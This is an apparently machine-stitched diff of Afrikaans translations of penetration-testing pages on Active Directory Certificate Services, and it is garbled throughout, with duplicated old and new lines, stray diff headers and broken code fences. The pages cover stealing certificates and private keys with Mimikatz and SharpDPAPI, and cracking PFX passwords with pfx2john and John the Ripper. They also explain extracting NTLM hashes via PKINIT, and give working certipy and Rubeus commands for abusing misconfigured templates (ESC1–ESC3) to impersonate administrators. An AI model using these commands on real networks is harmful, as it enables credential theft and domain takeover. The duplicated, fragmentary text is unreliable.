5. Die **Netwerk Toestel Inskrywing Diens** (NDES) vir netwerk toestelle, wat die Eenvoudige Sertifikaat Inskrywing Protokol (SCEP) gebruik.
5. Die **Netwerk Toestel Inskrywing Diens** (NDES) vir netwerktoestelle, met die gebruik van die Simple Certificate Enrollment Protocol (SCEP).
Windows gebruikers kan ook sertifikate aan vra via die GUI (`certmgr.msc` of `certlm.msc`) of opdraglyn gereedskap (`certreq.exe` of PowerShell se `Get-Certificate` opdrag).
```powershell
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
## Sertifikaat Outentisering
## Sertifikaat Verifikasie
Active Directory (AD) ondersteun sertifikaat outentisering, hoofsaaklik deur gebruik te maak van **Kerberos** en **Secure Channel (Schannel)** protokolle.
Active Directory (AD) ondersteun sertifikaat verifikasie, hoofsaaklik deur gebruik te maak van **Kerberos** en **Secure Channel (Schannel)** protokolle.
### Kerberos Outentiseringsproses
### Kerberos Verifikasie Proses
In die Kerberos outentiseringsproses word 'n gebruiker se versoek om 'n Ticket Granting Ticket (TGT) onderteken met die **privaat sleutel** van die gebruiker se sertifikaat. Hierdie versoek ondergaan verskeie validerings deur die domeinbeheerder, insluitend die sertifikaat se **geldigheid**, **pad**, en **herroepingstatus**. Validerings sluit ook in om te verifieer dat die sertifikaat van 'n vertroude bron kom en om die uitreiker se teenwoordigheid in die **NTAUTH sertifikaatwinkel** te bevestig. Suksesvolle validerings lei tot die uitreiking van 'n TGT. Die **`NTAuthCertificates`** objek in AD, gevind by:
In die Kerberos verifikasie proses, word 'n gebruiker se versoek vir 'n Ticket Granting Ticket (TGT) onderteken met die **privaat sleutel** van die gebruiker se sertifikaat. Hierdie versoek ondergaan verskeie validerings deur die domeinbeheerder, insluitend die sertifikaat se **geldigheid**, **pad**, en **herroepingstatus**. Validerings sluit ook in om te verifieer dat die sertifikaat van 'n vertroude bron kom en om die uitreiker se teenwoordigheid in die **NTAUTH sertifikaat stoor** te bevestig. Suksesvolle validerings lei tot die uitreiking van 'n TGT. Die **`NTAuthCertificates`** objek in AD, gevind by:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
is sentraal tot die vestiging van vertroue vir sertifikaatverifikasie.
### Veilige Kanaal (Schannel) Verifikasie
### Secure Channel (Schannel) Verifikasie
Schannel fasiliteer veilige TLS/SSL verbindings, waar tydens 'n handdruk, die kliënt 'n sertifikaat aanbied wat, indien suksesvol geverifieer, toegang magtig. Die toewysing van 'n sertifikaat aan 'n AD-rekening kan die Kerberos se **S4U2Self** funksie of die sertifikaat se **Subject Alternative Name (SAN)** insluit, onder andere metodes.

View File

@ -6,8 +6,8 @@
## Wat kan ek met 'n sertifikaat doen
Voordat ons kyk hoe om die sertifikate te steel, het jy hier 'n paar inligting oor hoe om te vind waarvoor die sertifikaat nuttig is:
```powershell
Voordat ons kyk hoe om die sertifikate te steel, het jy hier 'n bietjie inligting oor hoe om te vind waarvoor die sertifikaat nuttig is:
```bash
# Powershell
$CertPath = "C:\path\to\cert.pfx"
$CertPass = "P@ssw0rd"
@ -18,15 +18,15 @@ $Cert.EnhancedKeyUsageList
# cmd
certutil.exe -dump -v cert.pfx
```
## Eksportering van Sertifikate met die Crypto APIs DIEFSTAL1
## Eksportering van Sertifikate met die Crypto APIs DIEF1
In 'n **interaktiewe lessenaar sessie** kan 'n gebruiker of masjien sertifikaat, saam met die private sleutel, maklik onttrek word, veral as die **private sleutel uitvoerbaar** is. Dit kan bereik word deur na die sertifikaat in `certmgr.msc` te navigeer, regsklik daarop te klik, en `All Tasks → Export` te kies om 'n wagwoord-beskermde .pfx-lêer te genereer.
In 'n **interaktiewe lessenaar sessie** kan die onttrekking van 'n gebruiker of masjien sertifikaat, saam met die privaat sleutel, maklik gedoen word, veral as die **privaat sleutel uitvoerbaar** is. Dit kan bereik word deur na die sertifikaat in `certmgr.msc` te navigeer, regsklik daarop te klik, en `All Tasks → Export` te kies om 'n wagwoord-beskermde .pfx-lêer te genereer.
Vir 'n **programmatiese benadering** is gereedskap soos die PowerShell `ExportPfxCertificate` cmdlet of projekte soos [TheWovers CertStealer C# project](https://github.com/TheWover/CertStealer) beskikbaar. Hierdie gebruik die **Microsoft CryptoAPI** (CAPI) of die Cryptography API: Next Generation (CNG) om met die sertifikaatwinkel te kommunikeer. Hierdie APIs bied 'n reeks kriptografiese dienste, insluitend dié wat nodig is vir sertifikaatberging en -verifikasie.
As 'n private sleutel egter as nie-uitvoerbaar gestel is, sal beide CAPI en CNG normaalweg die onttrekking van sulke sertifikate blokkeer. Om hierdie beperking te omseil, kan gereedskap soos **Mimikatz** gebruik word. Mimikatz bied `crypto::capi` en `crypto::cng` opdragte om die onderskeie APIs te patch, wat die uitvoer van private sleutels moontlik maak. Spesifiek patch `crypto::capi` die CAPI binne die huidige proses, terwyl `crypto::cng` die geheue van **lsass.exe** teiken vir patching.
As 'n privaat sleutel egter as nie-uitvoerbaar gestel is, sal beide CAPI en CNG normaalweg die onttrekking van sulke sertifikate blokkeer. Om hierdie beperking te omseil, kan gereedskap soos **Mimikatz** gebruik word. Mimikatz bied `crypto::capi` en `crypto::cng` opdragte om die onderskeie APIs te patch, wat die uitvoer van privaat sleutels moontlik maak. Spesifiek patch `crypto::capi` die CAPI binne die huidige proses, terwyl `crypto::cng` die geheue van **lsass.exe** teiken vir patching.
## Diefstal van Gebruiker Sertifikate via DPAPI DIEFSTAL2
## Diefstal van Gebruiker Sertifikate via DPAPI DIEF2
Meer inligting oor DPAPI in:
@ -34,17 +34,17 @@ Meer inligting oor DPAPI in:
../../windows-local-privilege-escalation/dpapi-extracting-passwords.md
{{#endref}}
In Windows word **sertifikaat private sleutels deur DPAPI beskerm**. Dit is belangrik om te erken dat die **berging plekke vir gebruiker en masjien private sleutels** verskillend is, en die lêerstrukture verskil afhangende van die kriptografiese API wat deur die bedryfstelsel gebruik word. **SharpDPAPI** is 'n gereedskap wat hierdie verskille outomaties kan navigeer wanneer dit die DPAPI blobs ontsleutel.
In Windows, **sertifikaat privaat sleutels word deur DPAPI beskerm**. Dit is belangrik om te erken dat die **berging plekke vir gebruiker en masjien privaat sleutels** verskillend is, en die lêerstrukture verskil afhangende van die kriptografiese API wat deur die bedryfstelsel gebruik word. **SharpDPAPI** is 'n gereedskap wat hierdie verskille outomaties kan navigeer wanneer dit die DPAPI blobs ontsleutel.
**Gebruiker sertifikate** is hoofsaaklik in die register onder `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates` gehuisves, maar sommige kan ook in die gids `%APPDATA%\Microsoft\SystemCertificates\My\Certificates` gevind word. Die ooreenstemmende **private sleutels** vir hierdie sertifikate word tipies gestoor in `%APPDATA%\Microsoft\Crypto\RSA\User SID\` vir **CAPI** sleutels en `%APPDATA%\Microsoft\Crypto\Keys\` vir **CNG** sleutels.
**Gebruiker sertifikate** is hoofsaaklik in die registrasie onder `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates` gehuisves, maar sommige kan ook in die gids `%APPDATA%\Microsoft\SystemCertificates\My\Certificates` gevind word. Die ooreenstemmende **privaat sleutels** vir hierdie sertifikate word tipies gestoor in `%APPDATA%\Microsoft\Crypto\RSA\User SID\` vir **CAPI** sleutels en `%APPDATA%\Microsoft\Crypto\Keys\` vir **CNG** sleutels.
Om 'n **sertifikaat en sy geassosieerde private sleutel** te **onttrek**, behels die proses:
Om 'n **sertifikaat en sy geassosieerde privaat sleutel** te **onttrek**, behels die proses:
1. **Kies die teiken sertifikaat** uit die gebruiker se winkel en verkry sy sleutel winkel naam.
2. **Vind die vereiste DPAPI masterkey** om die ooreenstemmende private sleutel te ontsleutel.
3. **Ontsleutel die private sleutel** deur die platte teks DPAPI masterkey te gebruik.
2. **Vind die vereiste DPAPI masterkey** om die ooreenstemmende privaat sleutel te ontsleutel.
3. **Ontsleutel die privaat sleutel** deur die platte teks DPAPI masterkey te gebruik.
Vir **die verkryging van die platte teks DPAPI masterkey** kan die volgende benaderings gebruik word:
Vir **die verkryging van die platte teks DPAPI masterkey**, kan die volgende benaderings gebruik word:
```bash
# With mimikatz, when running in the user's context
dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc
@ -52,7 +52,7 @@ dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc
# With mimikatz, if the user's password is known
dpapi::masterkey /in:"C:\PATH\TO\KEY" /sid:accountSid /password:PASS
```
Om die ontsleuteling van masterkey-lêers en private sleutel-lêers te stroomlyn, bewys die `certificates` opdrag van [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) nuttig te wees. Dit aanvaar `/pvk`, `/mkfile`, `/password`, of `{GUID}:KEY` as argumente om die private sleutels en gekoppelde sertifikate te ontsleutel, en genereer vervolgens 'n `.pem`er.
Om die ontsleuteling van masterkey-lêers en privaat sleutel-lêers te stroomlyn, bewys die `certificates` opdrag van [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) nuttig te wees. Dit aanvaar `/pvk`, `/mkfile`, `/password`, of `{GUID}:KEY` as argumente om die privaat sleutels en gekoppelde sertifikate te ontsleutel, wat vervolgens 'n `.pem` lêer genereer.
```bash
# Decrypting using SharpDPAPI
SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt
@ -62,7 +62,7 @@ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provid
```
## Masjien Sertifikaat Diefstal via DPAPI THEFT3
Masjien sertifikate wat deur Windows in die registrasie gestoor word by `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` en die geassosieerde private sleutels geleë in `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (vir CAPI) en `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (vir CNG) word geënkripteer met die masjien se DPAPI meester sleutels. Hierdie sleutels kan nie met die domein se DPAPI rugsteun sleutel ontkrip word nie; eerder is die **DPAPI_SYSTEM LSA geheim**, wat slegs deur die SYSTEM gebruiker toegang kan verkry, nodig.
Masjien sertifikate wat deur Windows in die registrasie gestoor word by `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` en die geassosieerde private sleutels geleë in `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (vir CAPI) en `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (vir CNG) word geënkripteer met die masjien se DPAPI meester sleutels. Hierdie sleutels kan nie met die domein se DPAPI rugsteun sleutel ontkrip word nie; eerder is die **DPAPI_SYSTEM LSA geheim**, waartoe slegs die SYSTEM gebruiker toegang het, nodig.
Handmatige ontkripping kan bereik word deur die `lsadump::secrets` opdrag in **Mimikatz** uit te voer om die DPAPI_SYSTEM LSA geheim te onttrek, en daarna hierdie sleutel te gebruik om die masjien meester sleutels te ontkrip. Alternatiewelik kan Mimikatz se `crypto::certificates /export /systemstore:LOCAL_MACHINE` opdrag gebruik word na die patching van CAPI/CNG soos voorheen beskryf.
@ -70,17 +70,17 @@ Handmatige ontkripping kan bereik word deur die `lsadump::secrets` opdrag in **M
## Vind Sertifikaat Lêers THEFT4
Sertifikate word soms direk binne die lêerstelsel gevind, soos in lêer deel of die Downloads gids. Die mees algemeen teëgekomende tipes sertifikaat lêers wat op Windows omgewings teikens is, is `.pfx` en `.p12` lêers. Alhoewel minder gereeld, verskyn lêers met uitbreidings `.pkcs12` en `.pem` ook. Addisionele noemenswaardige sertifikaat-verwante lêer uitbreidings sluit in:
Sertifikate word soms direk binne die lêerstelsel gevind, soos in lêer deel of die Downloads gids. Die mees algemeen aangetrefde tipes sertifikaat lêers wat op Windows omgewings teikend is, is `.pfx` en `.p12` lêers. Alhoewel minder gereeld, verskyn lêers met uitbreidings `.pkcs12` en `.pem` ook. Bykomende noemenswaardige sertifikaat-verwante lêer uitbreidings sluit in:
- `.key` vir private sleutels,
- `.crt`/`.cer` vir sertifikate slegs,
- `.csr` vir Sertifikaat Ondertekening Versoeke, wat nie sertifikate of private sleutels bevat nie,
- `.jks`/`.keystore`/`.keys` vir Java Keystores, wat sertifikate saam met private sleutels kan hou wat deur Java toepassings gebruik word.
Hierdie lêers kan gesoek word met PowerShell of die opdragprompt deur te kyk na die genoemde uitbreidings.
Hierdie lêers kan gesoek word met PowerShell of die opdragprompt deur na die genoemde uitbreidings te kyk.
In gevalle waar 'n PKCS#12 sertifikaat lêer gevind word en dit deur 'n wagwoord beskerm word, is die onttrekking van 'n hash moontlik deur die gebruik van `pfx2john.py`, beskikbaar by [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html). Daarna kan JohnTheRipper gebruik word om te probeer om die wagwoord te kraak.
```powershell
```bash
# Example command to search for certificate files in PowerShell
Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys
@ -90,18 +90,20 @@ pfx2john.py certificate.pfx > hash.txt
# Command to crack the hash with JohnTheRipper
john --wordlist=passwords.txt hash.txt
```
## NTLM Kredensiaal Diefstal via PKINIT THEFT5
## NTLM Kredensiaal Diefstal via PKINIT THEFT5 (UnPAC die hash)
Die gegewe inhoud verduidelik 'n metode vir NTLM kredensiaal diefstal via PKINIT, spesifiek deur die diefstal metode wat as THEFT5 geëtiketteer is. Hier is 'n herverklaring in passiewe stem, met die inhoud geanonimiseer en saamgevat waar toepaslik:
Die gegewe inhoud verduidelik 'n metode vir NTLM kredensiaal diefstal via PKINIT, spesifiek deur die diefstal metode wat as THEFT5 geëtiketteer is. Hier is 'n herverduideliking in passiewe stem, met die inhoud geanonimiseer en saamgevat waar toepaslik:
Om NTLM-outeentifikasie [MS-NLMP] te ondersteun vir toepassings wat nie Kerberos-outeentifikasie fasiliteer nie, is die KDC ontwerp om die gebruiker se NTLM eenrigting funksie (OWF) binne die privilege-attribuut sertifikaat (PAC) terug te gee, spesifiek in die `PAC_CREDENTIAL_INFO` buffer, wanneer PKCA gebruik word. Gevolglik, indien 'n rekening outentifiseer en 'n Ticket-Granting Ticket (TGT) via PKINIT verkry, word 'n meganisme inherent voorsien wat die huidige gasheer in staat stel om die NTLM-hash uit die TGT te onttrek om ouer outentifikasie protokolle te ondersteun. Hierdie proses behels die ontsleuteling van die `PAC_CREDENTIAL_DATA` struktuur, wat essensieel 'n NDR-geserialiseerde voorstelling van die NTLM-plaktekst is.
Om NTLM-outeentifikasie `MS-NLMP` te ondersteun vir toepassings wat nie Kerberos-outeentifikasie fasiliteer nie, is die KDC ontwerp om die gebruiker se NTLM eenrigting funksie (OWF) binne die privilege attribuut sertifikaat (PAC) terug te gee, spesifiek in die `PAC_CREDENTIAL_INFO` buffer, wanneer PKCA gebruik word. Gevolglik, indien 'n rekening autentiseer en 'n Ticket-Granting Ticket (TGT) via PKINIT verkry, word 'n meganisme inherente voorsien wat die huidige gasheer in staat stel om die NTLM hash uit die TGT te onttrek om legacy-outeentifikasie protokolle te ondersteun. Hierdie proses behels die ontsleuteling van die `PAC_CREDENTIAL_DATA` struktuur, wat essensieel 'n NDR geserialiseerde voorstelling van die NTLM platte teks is.
Die nut **Kekeo**, toeganklik by [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo), word genoem as in staat om 'n TGT te versoek wat hierdie spesifieke data bevat, en so die onttrekking van die gebruiker se NTLM te fasiliteer. Die opdrag wat vir hierdie doel gebruik word, is soos volg:
```bash
tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local
```
Daarbenewens word opgemerk dat Kekeo slimkaart-beskermde sertifikate kan verwerk, mits die pin herwin kan word, met verwysing na [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). Dieselfde vermoë word aangedui as ondersteun deur **Rubeus**, beskikbaar by [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus).
**`Rubeus`** kan ook hierdie inligting verkry met die opsie **`asktgt [...] /getcredentials`**.
Hierdie verduideliking sluit die proses en gereedskap in wat betrokke is by NTLM geloofsbriewe diefstal via PKINIT, met fokus op die herwinning van NTLM hashes deur TGT verkry deur PKINIT, en die nutsmiddels wat hierdie proses fasiliteer.
Daarbenewens word opgemerk dat Kekeo slimkaart-beskermde sertifikate kan verwerk, mits die pin verkry kan word, met verwysing na [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). Dieselfde vermoë word aangedui as ondersteun deur **Rubeus**, beskikbaar by [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus).
Hierdie verduideliking sluit die proses en gereedskap in wat betrokke is by NTLM geloofsbriewe-diefstal via PKINIT, met fokus op die herwinning van NTLM hashes deur TGT verkry met behulp van PKINIT, en die nutsprogramme wat hierdie proses fasiliteer.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -18,16 +18,16 @@
- **Inskrywingsregte word aan laag-geprivilegieerde gebruikers deur die Enterprise CA toegeken.**
- **Bestuurder goedkeuring is nie nodig nie.**
- **Geen handtekeninge van gemagtigde personeel is nodig nie.**
- **Sekuriteitsbeskrywings op sertifikaat sjablone is te toegeeflik, wat laag-geprivilegieerde gebruikers toelaat om inskrywingsregte te verkry.**
- **Sekuriteitsbeskrywings op sertifikaat sjablone is te permissief, wat laag-geprivilegieerde gebruikers toelaat om inskrywingsregte te verkry.**
- **Sertifikaat sjablone is geconfigureer om EKU's te definieer wat autentisering fasiliteer:**
- Extended Key Usage (EKU) identifiseerders soos Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), of geen EKU (SubCA) is ingesluit.
- Uitgebreide Sleutel Gebruik (EKU) identifiseerders soos Kliënt Autentisering (OID 1.3.6.1.5.5.7.3.2), PKINIT Kliënt Autentisering (1.3.6.1.5.2.3.4), Slim Kaart Aanmelding (OID 1.3.6.1.4.1.311.20.2.2), Enige Doel (OID 2.5.29.37.0), of geen EKU (SubCA) is ingesluit.
- **Die vermoë vir versoekers om 'n subjectAltName in die Sertifikaat Ondertekening Versoek (CSR) in te sluit, word deur die sjabloon toegelaat:**
- Die Active Directory (AD) prioritiseer die subjectAltName (SAN) in 'n sertifikaat vir identiteitsverifikasie indien teenwoordig. Dit beteken dat deur die SAN in 'n CSR te spesifiseer, 'n sertifikaat aangevra kan word om enige gebruiker (bv. 'n domein administrateur) na te boots. Of 'n SAN deur die versoeker gespesifiseer kan word, word in die sertifikaat sjabloon se AD objek deur die `mspki-certificate-name-flag` eienskap aangedui. Hierdie eienskap is 'n bitmask, en die teenwoordigheid van die `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` vlag laat die spesifikasie van die SAN deur die versoeker toe.
- Die Active Directory (AD) prioritiseer die subjectAltName (SAN) in 'n sertifikaat vir identiteitsverifikasie indien teenwoordig. Dit beteken dat deur die SAN in 'n CSR te spesifiseer, 'n sertifikaat aangevra kan word om enige gebruiker (bv. 'n domein administrateur) na te boots. Of 'n SAN deur die versoeker gespesifiseer kan word, word in die sertifikaat sjabloon se AD objek deur die `mspki-certificate-name-flag` eienskap aangedui. Hierdie eienskap is 'n bitmasker, en die teenwoordigheid van die `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` vlag laat die spesifikasie van die SAN deur die versoeker toe.
> [!CAUTION]
> Die konfigurasie wat uiteengesit is, laat laag-geprivilegieerde gebruikers toe om sertifikate met enige SAN van keuse aan te vra, wat autentisering as enige domein hoof deur Kerberos of SChannel moontlik maak.
> Die konfigurasie wat uiteengesit is, laat laag-geprivilegieerde gebruikers toe om sertifikate met enige SAN van keuse aan te vra, wat autentisering as enige domein hoofde deur Kerberos of SChannel moontlik maak.
Hierdie funksie word soms geaktiveer om die on-the-fly generasie van HTTPS of gasheer sertifikate deur produkte of ontplooiingsdienste te ondersteun, of weens 'n gebrek aan begrip.
Hierdie funksie word soms geaktiveer om die on-the-fly generasie van HTTPS of gasheer sertifikate deur produkte of ontplooiingsdienste te ondersteun, of as gevolg van 'n gebrek aan begrip.
Daar word opgemerk dat die skep van 'n sertifikaat met hierdie opsie 'n waarskuwing aktiveer, wat nie die geval is wanneer 'n bestaande sertifikaat sjabloon (soos die `WebServer` sjabloon, wat `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` geaktiveer het) gedupliseer en dan gewysig word om 'n autentisering OID in te sluit nie.
@ -48,15 +48,15 @@ Dan kan jy die gegenereerde **sertifikaat na `.pfx`** formaat omskakel en dit ge
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
```
Die Windows binêre "Certreq.exe" & "Certutil.exe" kan gebruik word om die PFX te genereer: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Die Windows binaries "Certreq.exe" & "Certutil.exe" kan gebruik word om die PFX te genereer: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Die opsporing van sertifikaat sjablone binne die AD Forest se konfigurasie skema, spesifiek dié wat nie goedkeuring of handtekeninge vereis nie, wat 'n Klientverifikasie of Slimkaart Aanmelding EKU het, en met die `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` vlag geaktiveer, kan gedoen word deur die volgende LDAP navraag uit te voer:
Die opsporing van sertifikaat sjablone binne die AD Forest se konfigurasieskema, spesifiek dié wat nie goedkeuring of handtekeninge vereis nie, wat 'n Klientverifikasie of Slimkaart Aanmelding EKU het, en met die `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` vlag geaktiveer, kan gedoen word deur die volgende LDAP-navraag uit te voer:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
```
## Misgeconfigureerde Sertifikaat Sjablone - ESC2
### Verduideliking
### Verklaring
Die tweede misbruikscenario is 'n variasie van die eerste een:
@ -64,13 +64,13 @@ Die tweede misbruikscenario is 'n variasie van die eerste een:
2. Die vereiste vir bestuurder goedkeuring is gedeaktiveer.
3. Die behoefte aan gemagtigde handtekeninge word weggelaat.
4. 'n Oormatig toelaatbare sekuriteitsbeskrywer op die sertifikaat sjabloon gee sertifikaat registraseregte aan laag-geprivilegieerde gebruikers.
5. **Die sertifikaat sjabloon is gedefinieer om die Any Purpose EKU of geen EKU in te sluit.**
5. **Die sertifikaat sjabloon is gedefinieer om die Any Purpose EKU of geen EKU in te sluit nie.**
Die **Any Purpose EKU** laat 'n aanvaller toe om 'n sertifikaat te verkry vir **enige doel**, insluitend kliëntverifikasie, bedienerverifikasie, kodehandtekening, ens. Dieselfde **tegniek wat vir ESC3 gebruik is** kan gebruik word om hierdie scenario te benut.
Die **Any Purpose EKU** laat 'n sertifikaat toe om deur 'n aanvaller vir **enige doel** verkry te word, insluitend kliëntverifikasie, bedienerverifikasie, kodehandtekening, ens. Dieselfde **tegniek wat vir ESC3 gebruik is** kan gebruik word om hierdie scenario te benut.
Sertifikate met **geen EKUs**, wat as ondergeskikte CA sertifikate optree, kan vir **enige doel** benut word en kan **ook gebruik word om nuwe sertifikate te teken**. Daarom kan 'n aanvaller arbitrêre EKUs of velde in die nuwe sertifikate spesifiseer deur 'n ondergeskikte CA sertifikaat te benut.
Sertifikate met **geen EKUs**, wat as ondergeskikte CA sertifikate optree, kan vir **enige doel** benut word en kan **ook gebruik word om nuwe sertifikate te teken**. Daarom kan 'n aanvaller arbitrêre EKUs of velde in die nuwe sertifikate spesifiseer deur 'n ondergeskikte CA sertifikaat te gebruik.
Egter, nuwe sertifikate wat geskep word vir **domeinverifikasie** sal nie funksioneer nie as die ondergeskikte CA nie vertrou word deur die **`NTAuthCertificates`** objek, wat die standaardinstelling is. Nietemin kan 'n aanvaller steeds **nuwe sertifikate met enige EKU** en arbitrêre sertifikaatwaardes skep. Hierdie kan potensieel **misbruik** word vir 'n wye reeks doeleindes (bv. kodehandtekening, bedienerverifikasie, ens.) en kan beduidende implikasies hê vir ander toepassings in die netwerk soos SAML, AD FS, of IPSec.
Egter, nuwe sertifikate wat geskep word vir **domeinverifikasie** sal nie funksioneer as die ondergeskikte CA nie vertrou word deur die **`NTAuthCertificates`** objek, wat die standaardinstelling is. Nietemin kan 'n aanvaller steeds **nuwe sertifikate met enige EKU** en arbitrêre sertifikaatwaardes skep. Hierdie kan potensieel **misbruik** word vir 'n wye reeks doeleindes (bv. kodehandtekening, bedienerverifikasie, ens.) en kan beduidende implikasies hê vir ander toepassings in die netwerk soos SAML, AD FS, of IPSec.
Om sjablone wat by hierdie scenario pas binne die AD Forest se konfigurasieskema op te som, kan die volgende LDAP-navraag uitgevoer word:
```
@ -80,11 +80,11 @@ Om sjablone wat by hierdie scenario pas binne die AD Forest se konfigurasieskema
### Verduideliking
Hierdie scenario is soos die eerste en tweede een, maar **misbruik** 'n **ander EKU** (Sertifikaat Versoek Agent) en **2 verskillende sjablone** (daarom het dit 2 stelle vereistes),
Hierdie scenario is soos die eerste en tweede een, maar **misbruik** 'n **ander EKU** (Sertifikaat Aansoek Agent) en **2 verskillende sjablone** (daarom het dit 2 stelle vereistes),
Die **Sertifikaat Versoek Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), bekend as **Registrasie Agent** in Microsoft dokumentasie, laat 'n prinsiep toe om **te registreer** vir 'n **sertifikaat** **namens 'n ander gebruiker**.
Die **Sertifikaat Aansoek Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), bekend as **Registrasie Agent** in Microsoft dokumentasie, laat 'n hoofpersoon toe om **te registreer** vir 'n **sertifikaat** namens **'n ander gebruiker**.
Die **“registrasie agent”** registreer in so 'n **sjabloon** en gebruik die resulterende **sertifikaat om 'n CSR saam te teken namens die ander gebruiker**. Dit **stuur** die **saamgetekende CSR** na die CA, wat registreer in 'n **sjabloon** wat **“registreer namens”** toelaat, en die CA antwoord met 'n **sertifikaat wat aan die “ander” gebruiker behoort**.
Die **“registrasie agent”** registreer in so 'n **sjabloon** en gebruik die resulterende **sertifikaat om 'n CSR mede-te teken namens die ander gebruiker**. Dit **stuur** die **mede-getekende CSR** na die CA, wat registreer in 'n **sjabloon** wat **“registreer namens”** toelaat, en die CA antwoord met 'n **sertifikaat wat aan die “ander” gebruiker behoort**.
**Vereistes 1:**
@ -92,14 +92,14 @@ Die **“registrasie agent”** registreer in so 'n **sjabloon** en gebruik die
- Die vereiste vir bestuurder goedkeuring word weggelaat.
- Geen vereiste vir gemagtigde handtekeninge nie.
- Die sekuriteitsbeskrywer van die sertifikaat sjabloon is buitensporig toelaatbaar, wat registrasiegeregte aan laag-geprivilegieerde gebruikers toeken.
- Die sertifikaat sjabloon sluit die Sertifikaat Versoek Agent EKU in, wat die versoek van ander sertifikaat sjablone namens ander prinsipes moontlik maak.
- Die sertifikaat sjabloon sluit die Sertifikaat Aansoek Agent EKU in, wat die aansoek van ander sertifikaat sjablone namens ander hoofpersone moontlik maak.
**Vereistes 2:**
- Die Enterprise CA verleen registrasiegeregte aan laag-geprivilegieerde gebruikers.
- Bestuurder goedkeuring word omseil.
- Die sjabloon se skema weergawe is of 1 of oorskry 2, en dit spesifiseer 'n Aansoek Beleid Uitreik Vereiste wat die Sertifikaat Versoek Agent EKU vereis.
- 'n EKU gedefinieer in die sertifikaat sjabloon laat domein autentisering toe.
- Die sjabloon se skema weergawe is of 1 of oorskry 2, en dit spesifiseer 'n Aansoek Beleid Uitreiking Vereiste wat die Sertifikaat Aansoek Agent EKU vereis.
- 'n EKU gedefinieer in die sertifikaat sjabloon laat domeinverifikasie toe.
- Beperkings vir registrasie agente word nie op die CA toegepas nie.
### Misbruik
@ -118,7 +118,7 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
Die **gebruikers** wat toegelaat word om 'n **inskrywingsagent sertifikaat** te **verkry**, die sjablone waarin inskrywings **agente** toegelaat word om in te skryf, en die **rekeninge** namens wie die inskrywingsagent mag optree, kan deur ondernemings CA's beperk word. Dit word bereik deur die `certsrc.msc` **snap-in** te open, **regsklik op die CA** te klik, **klik Eienskappe**, en dan **navigeer** na die “Inskrywingsagente” oortjie.
Die **gebruikers** wat toegelaat word om 'n **inskrywingsagent sertifikaat** te **verkry**, die sjablone waarin inskrywings **agente** toegelaat word om in te skryf, en die **rekeninge** namens wie die inskrywingsagent mag optree, kan deur ondernemings CA's beperk word. Dit word bereik deur die `certsrc.msc` **snap-in** te open, **regsklik op die CA** te doen, **eienskappe** te klik, en dan na die “Enrollment Agents” tab te **navigeer**.
Dit word egter opgemerk dat die **standaard** instelling vir CA's is om “**Moet nie inskrywingsagente beperk nie**.” Wanneer die beperking op inskrywingsagente deur administrateurs geaktiveer word, en dit op “Beperk inskrywingsagente” gestel word, bly die standaardkonfigurasie uiters permissief. Dit laat **Enigiemand** toe om in alle sjablone in te skryf as enige iemand.
@ -128,7 +128,7 @@ Dit word egter opgemerk dat die **standaard** instelling vir CA's is om “**Moe
